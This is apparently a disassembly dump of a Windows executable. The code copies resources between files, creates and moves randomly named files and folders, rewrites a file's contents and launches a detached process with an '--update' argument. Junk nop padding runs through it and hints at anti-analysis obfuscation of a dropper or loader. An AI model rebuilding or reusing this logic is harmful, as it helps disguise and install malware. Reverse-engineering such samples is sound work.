lea ecx, [ebp - 0xe08]
push ecx
call fcn.00422e70
add esp, 8
push eax
push 0x4277d8
lea edx, [ebp - 0x468]
push edx
call fcn.004157e0
add esp, 0xc
lea ecx, [ebp - 0xe08]
call fcn.00418e00
push 0x10
lea ecx, [ebp - 0x468]
call fcn.0041ec40
push eax
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jne 0x406166
cmp dword [ebp - 0x2c], 0x6e
jne 0x406154
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x468]
call fcn.00418e00
jmp 0x40647d
lea ecx, [ebp - 0x468]
call fcn.00418e00
jmp 0x4060c9
cmp dword [ebp - 0x2c], 0x6e
jne 0x406196
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x468]
call fcn.00418e00
jmp 0x40647d
lea ecx, [ebp - 0x468]
call fcn.00418e00
jmp 0x4061b3
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jne 0x4061ed
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x40647d
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, dword [ebp - 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jne 0x406226
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x40647d
mov edx, dword [ebp - 0x50]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x58]
push ecx
call fcn.00423a52
add esp, 4
mov dword [ebp - 0x2dc], eax
mov edx, dword [ebp - 0x2dc]
mov dword [ebp - 0x104], edx
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
mov edx, dword [ebp - 0x104]
push edx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x3f0]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4062c3
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x40647d
mov dword [ebp - 0x2c], 1
jmp 0x4062d5
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
push edx
lea eax, [ebp - 0xe20]
push eax
call fcn.00422e70
add esp, 8
push eax
push 0x4277dc
lea ecx, [ebp - 0x480]
push ecx
call fcn.004157e0
add esp, 0xc
lea ecx, [ebp - 0xe20]
call fcn.00418e00
push 0x10
lea ecx, [ebp - 0x480]
call fcn.0041ec40
push eax
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jne 0x40635b
cmp dword [ebp - 0x2c], 0x6e
jne 0x406349
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x480]
call fcn.00418e00
jmp 0x40647d
lea ecx, [ebp - 0x480]
call fcn.00418e00
jmp 0x4062cc
cmp dword [ebp - 0x2c], 0x6e
jne 0x40637d
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x480]
call fcn.00418e00
jmp 0x40647d
lea ecx, [ebp - 0x480]
call fcn.00418e00
jmp 0x40639a
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0
lea ecx, [ebp - 0x3f0]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x68], eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
cmp dword [ebp - 0x68], 0
jne 0x4063fd
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x2e0], eax
mov ecx, dword [ebp - 0x2e0]
push ecx
call fcn.00423a5b
add esp, 4
jmp 0x40647d
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov edx, dword [ebp - 0x58]
push edx
mov eax, dword [ebp - 0x104]
push eax
push 0x409
push 1
push 0x10
mov ecx, dword [ebp - 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
mov dword [ebp - 0x168], eax
mov edx, dword [ebp - 0x104]
mov dword [ebp - 0x2e4], edx
mov eax, dword [ebp - 0x2e4]
push eax
call fcn.00423a5b
add esp, 4
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
cmp dword [ebp - 0x168], 0
jne 0x406463
jmp 0x40647d
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0
mov ecx, dword [ebp - 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x284]
call fcn.00418360
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0xcc], 0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0xc
lea ecx, [ebp - 0x284]
call fcn.004221a0
mov dword [ebp - 0x108], 0
jmp 0x4064e0
mov edx, dword [ebp - 0x108]
add edx, 1
mov dword [ebp - 0x108], edx
lea ecx, [ebp - 0x284]
call fcn.00422b10
cmp dword [ebp - 0x108], eax
jae 0x406525
push 0x7a
push 0x61
call fcn.004114c0
add esp, 8
mov ebx, eax
mov eax, dword [ebp - 0x108]
push eax
lea ecx, [ebp - 0x284]
call fcn.00419680
mov byte [eax], bl
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4064d1
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x462210
lea ecx, [ebp - 0x284]
push ecx
call fcn.00415020
add esp, 8
movzx edx, al
test edx, edx
je 0x406553
jmp 0x406496
mov dword [ebp - 0x10c], 0
jmp 0x40656e
mov eax, dword [ebp - 0x10c]
add eax, 1
mov dword [ebp - 0x10c], eax
lea ecx, [ebp - 0x284]
call fcn.00422b10
cmp dword [ebp - 0x10c], eax
jae 0x4065a4
mov ecx, dword [ebp - 0x10c]
push ecx
lea ecx, [ebp - 0x284]
call fcn.00419680
movsx edx, byte [eax]
add edx, dword [ebp - 0x16c]
mov dword [ebp - 0x16c], edx
jmp 0x40655f
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0xc4], 0
jmp 0x4065cd
mov eax, dword [ebp - 0xc4]
add eax, 1
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
cmp ecx, dword [ebp - 0x16c]
jge 0x4065ef
mov edx, dword [ebp - 0xcc]
add edx, dword [ebp - 0xc4]
mov dword [ebp - 0xcc], edx
jmp 0x4065be
mov eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0xc8]
jne 0x406602
jmp 0x406496
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov ecx, dword [ebp - 0xcc]
push ecx
lea edx, [ebp - 0x3d8]
push edx
call fcn.00422e10
add esp, 8
lea ecx, [ebp - 0x13f]
call fcn.004178f0
push eax
lea eax, [ebp - 0x614]
push eax
lea ecx, [ebp - 0x284]
call fcn.0041f400
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x618]
push edx
lea ecx, [ebp - 0x284]
call fcn.0041eb20
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x3a8]
call fcn.00414c50
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x800
push 0
lea ecx, [ebp - 0x4a34]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x3a8]
call fcn.0041ec40
push eax
push 0x461dc0
push 0x4277e0
lea edx, [ebp - 0x4a34]
push edx
call fcn.00422d30
add esp, 0x10
lea eax, [ebp - 0x3a8]
push eax
lea ecx, [ebp - 0x438]
call fcn.00418420
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x61c]
push ecx
lea ecx, [ebp - 0x438]
call fcn.0041f470
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x620]
push eax
lea ecx, [ebp - 0x438]
call fcn.0041eb90
mov ecx, dword [eax]
push ecx
call fcn.004172e0
add esp, 8
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x800
push 0
lea edx, [ebp - 0x5234]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x438]
call fcn.0041ec40
push eax
push 0x461dc0
push 0x4277ec
lea eax, [ebp - 0x5234]
push eax
call fcn.00422d30
add esp, 0x10
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x800
push 0
lea ecx, [ebp - 0x2234]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x768]
call fcn.0041ec40
push eax
lea ecx, [ebp - 0x3a8]
call fcn.0041ec40
push eax
push 0x461dc0
push 0x4277f8
lea edx, [ebp - 0x2234]
push edx
call fcn.00422d30
add esp, 0x14
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0
lea eax, [ebp - 0x4a34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
lea ecx, [ebp - 0x5234]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea edx, [ebp - 0x2234]
push edx
lea ecx, [ebp - 0x3f0]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x624], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x628], esp
push 0x462128
call fcn.00418120
push 0
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
lea eax, [ebp - 0x510]
push eax
call fcn.0040df00
add esp, 0x1c
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x62c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x630], esp
push 0x462128
call fcn.00418120
push 5
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
lea ecx, [ebp - 0x4f8]
push ecx
call fcn.0040df00
add esp, 0x1c
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x634], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x638], esp
push 0x462128
call fcn.00418120
push 3
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
lea edx, [ebp - 0x4e0]
push edx
call fcn.0040df00
add esp, 0x1c
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x63c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x640], esp
push 0x462128
call fcn.00418120
push 4
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
lea eax, [ebp - 0x4c8]
push eax
call fcn.0040df00
add esp, 0x1c
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x644], esp
push 0x42780c
call fcn.00418290
lea ecx, [ebp - 0x4b0]
push ecx
call fcn.0040df00
add esp, 0x1c
lea ecx, [ebp - 0x510]
call fcn.0041f360
movzx edx, al
test edx, edx
jne 0x4069b7
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x648], esp
lea eax, [ebp - 0x3d8]
push eax
call fcn.00418120
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x64c], esp
lea edx, [ebp - 0x510]
push edx
call fcn.00418120
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x650], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x654], esp
push 0x462128
call fcn.00418120
push 0
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.0040e1b0
add esp, 0x48
lea ecx, [ebp - 0x4f8]
call fcn.0041f360
movzx eax, al
test eax, eax
jne 0x406a35
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x658], esp
lea edx, [ebp - 0x3d8]
push edx
call fcn.00418120
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x65c], esp
lea eax, [ebp - 0x4f8]
push eax
call fcn.00418120
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x660], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x664], esp
push 0x462128
call fcn.00418120
push 5
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.0040e1b0
add esp, 0x48
lea ecx, [ebp - 0x4e0]
call fcn.0041f360
movzx ecx, al
test ecx, ecx
jne 0x406ab3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x668], esp
lea edx, [ebp - 0x3d8]
push edx
call fcn.00418120
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x66c], esp
lea eax, [ebp - 0x4e0]
push eax
call fcn.00418120
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x670], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x674], esp
push 0x462128
call fcn.00418120
push 3
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.0040e1b0
add esp, 0x48
lea ecx, [ebp - 0x4c8]
call fcn.0041f360
movzx ecx, al
test ecx, ecx
jne 0x406b31
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x678], esp
lea edx, [ebp - 0x3d8]
push edx
call fcn.00418120
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x67c], esp
lea eax, [ebp - 0x4c8]
push eax
call fcn.00418120
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x680], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x684], esp
push 0x462128
call fcn.00418120
push 4
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.0040e1b0
add esp, 0x48
lea ecx, [ebp - 0x4b0]
call fcn.0041f360
movzx ecx, al
test ecx, ecx
jne 0x406b8e
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x688], esp
lea edx, [ebp - 0x3d8]
push edx
call fcn.00418120
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x68c], esp
lea eax, [ebp - 0x4b0]
push eax
call fcn.00418120
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x690], esp
push 0x42781c
call fcn.00418290
call fcn.0040e1b0
add esp, 0x48
mov dword [ebp - 0x5c], 0
jmp 0x406ba0
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov dword [ebp - 0x5c], ecx
mov ecx, 0x4620e0
call fcn.00422b80
cmp dword [ebp - 0x5c], eax
jae 0x406d5b
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x694], esp
push 0x462128
call fcn.00418120
mov edx, dword [ebp - 0x5c]
push edx
mov ecx, 0x4620e0
call fcn.00419700
push eax
lea eax, [ebp - 0x798]
push eax
call fcn.004080f0
add esp, 0x20
lea ecx, [ebp - 0x140]
call fcn.004178f0
push eax
lea ecx, [ebp - 0x698]
push ecx
lea ecx, [ebp - 0x798]
call fcn.0041f400
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x69c]
push eax
lea ecx, [ebp - 0x798]
call fcn.0041eb20
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x498]
call fcn.00414c50
lea edx, [ebp - 0x498]
push edx
lea ecx, [ebp - 0xaa8]
call fcn.00418420
movzx eax, byte [0x461d90]
test eax, eax
je 0x406c96
lea ecx, [ebp - 0x498]
push ecx
push 0x42782c
push 0x4620ec
lea edx, [ebp - 0xe50]
push edx
call fcn.00415730
add esp, 0xc
push eax
lea eax, [ebp - 0xe38]
push eax
call fcn.00415650
add esp, 0xc
push eax
lea ecx, [ebp - 0x498]
call fcn.00419450
lea ecx, [ebp - 0xe38]
call fcn.00418e00
lea ecx, [ebp - 0xe50]
call fcn.00418e00
push 0x800
push 0
lea ecx, [ebp - 0x3234]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xaa8]
call fcn.0041ec40
push eax
lea ecx, [ebp - 0x3a8]
call fcn.0041ec40
push eax
push 0x461dc0
push 0x427830
lea edx, [ebp - 0x3234]
push edx
call fcn.00422d30
add esp, 0x14
cmp dword [ebp - 0x5c], 8
je 0x406cf5
cmp dword [ebp - 0x5c], 9
je 0x406cf5
cmp dword [ebp - 0x5c], 0xe
je 0x406cf5
cmp dword [ebp - 0x5c], 0xf
jne 0x406d12
push 0
lea eax, [ebp - 0x3234]
push eax
lea ecx, [ebp - 0x498]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp 0x406d35
lea ecx, [ebp - 0x3234]
push ecx
lea ecx, [ebp - 0x498]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x406d35
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0xaa8]
call fcn.00418e00
lea ecx, [ebp - 0x498]
call fcn.00418e00
lea ecx, [ebp - 0x798]
call fcn.00418dc0
jmp 0x406b97
push 0x427844
lea ecx, [ebp - 0x3c0]
call fcn.00418290
lea ecx, [ebp - 0x141]
call fcn.004178f0
push eax
lea edx, [ebp - 0x6a0]
push edx
lea ecx, [ebp - 0x3c0]
call fcn.0041f400
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x6a4]
push ecx
lea ecx, [ebp - 0x3c0]
call fcn.0041eb20
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x348]
call fcn.00414c50
lea eax, [ebp - 0x348]
push eax
lea ecx, [ebp - 0x420]
call fcn.00418420
movzx ecx, byte [0x461d90]
test ecx, ecx
je 0x406e1b
lea edx, [ebp - 0x348]
push edx
push 0x427854
push 0x4620ec
lea eax, [ebp - 0xe80]
push eax
call fcn.00415730
add esp, 0xc
push eax
lea ecx, [ebp - 0xe68]
push ecx
call fcn.00415650
add esp, 0xc
push eax
lea ecx, [ebp - 0x348]
call fcn.00419450
lea ecx, [ebp - 0xe68]
call fcn.00418e00
lea ecx, [ebp - 0xe80]
call fcn.00418e00
push 0x800
push 0
lea edx, [ebp - 0x2a34]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x420]
call fcn.0041ec40
push eax
lea ecx, [ebp - 0x3a8]
call fcn.0041ec40
push eax
push 0x461dc0
push 0x427858
lea eax, [ebp - 0x2a34]
push eax
call fcn.00422d30
add esp, 0x14
lea ecx, [ebp - 0x2a34]
push ecx
lea ecx, [ebp - 0x348]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x406e85
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.id.data
lea ecx, [ebp - 0x3c0]
call fcn.00419430
lea ecx, [ebp - 0x142]
call fcn.004178f0
push eax
lea edx, [ebp - 0x6a8]
push edx
lea ecx, [ebp - 0x3c0]
call fcn.0041f400
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x6ac]
push ecx
lea ecx, [ebp - 0x3c0]
call fcn.0041eb20
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0xe98]
call fcn.00414c50
push eax
lea ecx, [ebp - 0x348]
call fcn.00419450
lea ecx, [ebp - 0xe98]
call fcn.00418e00
lea eax, [ebp - 0x348]
push eax
lea ecx, [ebp - 0x420]
call fcn.00419540
push 0x800
push 0
lea ecx, [ebp - 0x2a34]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x420]
call fcn.0041ec40
push eax
lea ecx, [ebp - 0x3a8]
call fcn.0041ec40
push eax
push 0x461dc0
push str._s_s_s
lea edx, [ebp - 0x2a34]
push edx
call fcn.00422d30
add esp, 0x14
lea eax, [ebp - 0x2a34]
push eax
lea ecx, [ebp - 0x348]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x406f69
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x427888
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x4620ec
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x800
push 0
lea ecx, [ebp - 0x3a34]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x461fce
call fcn.00419770
movzx edx, al
test edx, edx
jne 0x406fe9
mov ecx, 0x462104
call fcn.0041ec40
push eax
lea eax, [ebp - 0x182c]
push eax
lea ecx, [ebp - 0x2234]
push ecx
push str.__s____s____s_
lea edx, [ebp - 0x3a34]
push edx
call fcn.00422d30
add esp, 0x14
jmp 0x407016
mov ecx, 0x462104
call fcn.0041ec40
push eax
lea eax, [ebp - 0x182c]
push eax
lea ecx, [ebp - 0x2234]
push ecx
push str.__s____s____s___update_
lea edx, [ebp - 0x3a34]
push edx
call fcn.00422d30
add esp, 0x14
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 1
push 0x40
push 0x20
lea eax, [ebp - 0x2234]
push eax
lea ecx, [ebp - 0x107c]
call fcn.00417b60
mov ecx, dword [ebp - 0x107c]
mov edx, dword [ecx + 4]
lea ecx, [ebp + edx - 0x107c]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
movzx eax, al
test eax, eax
je 0x4070f1
lea ecx, [ebp - 0x107c]
call fcn.00419a50
lea ecx, [ebp - 0x420]
call fcn.00418e00
lea ecx, [ebp - 0x348]
call fcn.00418e00
lea ecx, [ebp - 0x3c0]
call fcn.00418dc0
lea ecx, [ebp - 0x4b0]
call fcn.00418dc0
lea ecx, [ebp - 0x4c8]
call fcn.00418dc0
lea ecx, [ebp - 0x4e0]
call fcn.00418dc0
lea ecx, [ebp - 0x4f8]
call fcn.00418dc0
lea ecx, [ebp - 0x510]
call fcn.00418dc0
lea ecx, [ebp - 0x438]
call fcn.00418e00
lea ecx, [ebp - 0x3a8]
call fcn.00418e00
lea ecx, [ebp - 0x3d8]
call fcn.00418dc0
lea ecx, [ebp - 0x284]
call fcn.00418dc0
jmp 0x4077ef
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 2
push 0
push 0
lea ecx, [ebp - 0x107c]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea ecx, [ebp - 0x120c]
push ecx
lea ecx, [ebp - 0x107c]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov ecx, eax
call fcn.00419740
mov dword [ebp - 0xc0], eax
push 0
push 0
push 0
lea ecx, [ebp - 0x107c]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
mov edx, dword [ebp - 0xc0]
push edx
call fcn.00423a52
add esp, 4
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0xa4], eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov ecx, dword [ebp - 0xc0]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0xa4]
push eax
lea ecx, [ebp - 0x107c]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0x107c]
call fcn.0041ee70
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 1
push 0x40
push 0x20
lea ecx, [ebp - 0x2234]
push ecx
lea ecx, [ebp - 0x11dc]
call fcn.00417ef0
mov edx, dword [ebp - 0x11dc]
mov eax, dword [edx + 4]
lea ecx, [ebp + eax - 0x11dc]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
movzx ecx, al
test ecx, ecx
je 0x40729b
mov edx, dword [ebp - 0xa4]
mov dword [ebp - 0x2ec], edx
mov eax, dword [ebp - 0x2ec]
push eax
call fcn.00423a5b
add esp, 4
lea ecx, [ebp - 0x11dc]
call fcn.00419ab0
lea ecx, [ebp - 0x107c]
call fcn.00419a50
lea ecx, [ebp - 0x420]
call fcn.00418e00
lea ecx, [ebp - 0x348]
call fcn.00418e00
lea ecx, [ebp - 0x3c0]
call fcn.00418dc0
lea ecx, [ebp - 0x4b0]
call fcn.00418dc0
lea ecx, [ebp - 0x4c8]
call fcn.00418dc0
lea ecx, [ebp - 0x4e0]
call fcn.00418dc0
lea ecx, [ebp - 0x4f8]
call fcn.00418dc0
lea ecx, [ebp - 0x510]
call fcn.00418dc0
lea ecx, [ebp - 0x438]
call fcn.00418e00
lea ecx, [ebp - 0x3a8]
call fcn.00418e00
lea ecx, [ebp - 0x3d8]
call fcn.00418dc0
lea ecx, [ebp - 0x284]
call fcn.00418dc0
jmp 0x4077ef
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6b0], esp
lea edx, [ebp - 0x284]
push edx
call fcn.00418120
mov eax, dword [ebp - 0xc0]
push eax
mov ecx, dword [ebp - 0xa4]
push ecx
call fcn.004115b0
add esp, 0x20
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov edx, dword [ebp - 0xc0]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00407c40
add esp, 8
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov ecx, dword [ebp - 0xc0]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0xa4]
push eax
lea ecx, [ebp - 0x11dc]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x11dc]
call fcn.0041eeb0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x2f0], ecx
mov edx, dword [ebp - 0x2f0]
push edx
call fcn.00423a5b
add esp, 4
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x10
push 0
lea eax, [ebp - 0x7a8]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0xfc4]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0xfc4], 0x44
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0xf98], 1
xor edx, edx
mov word [ebp - 0xf94], dx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea eax, [ebp - 0x7a8]
push eax
lea ecx, [ebp - 0xfc4]
push ecx
push 0
push 0
push 0x4000008
push 0
push 0
push 0
lea edx, [ebp - 0x3a34]
push edx
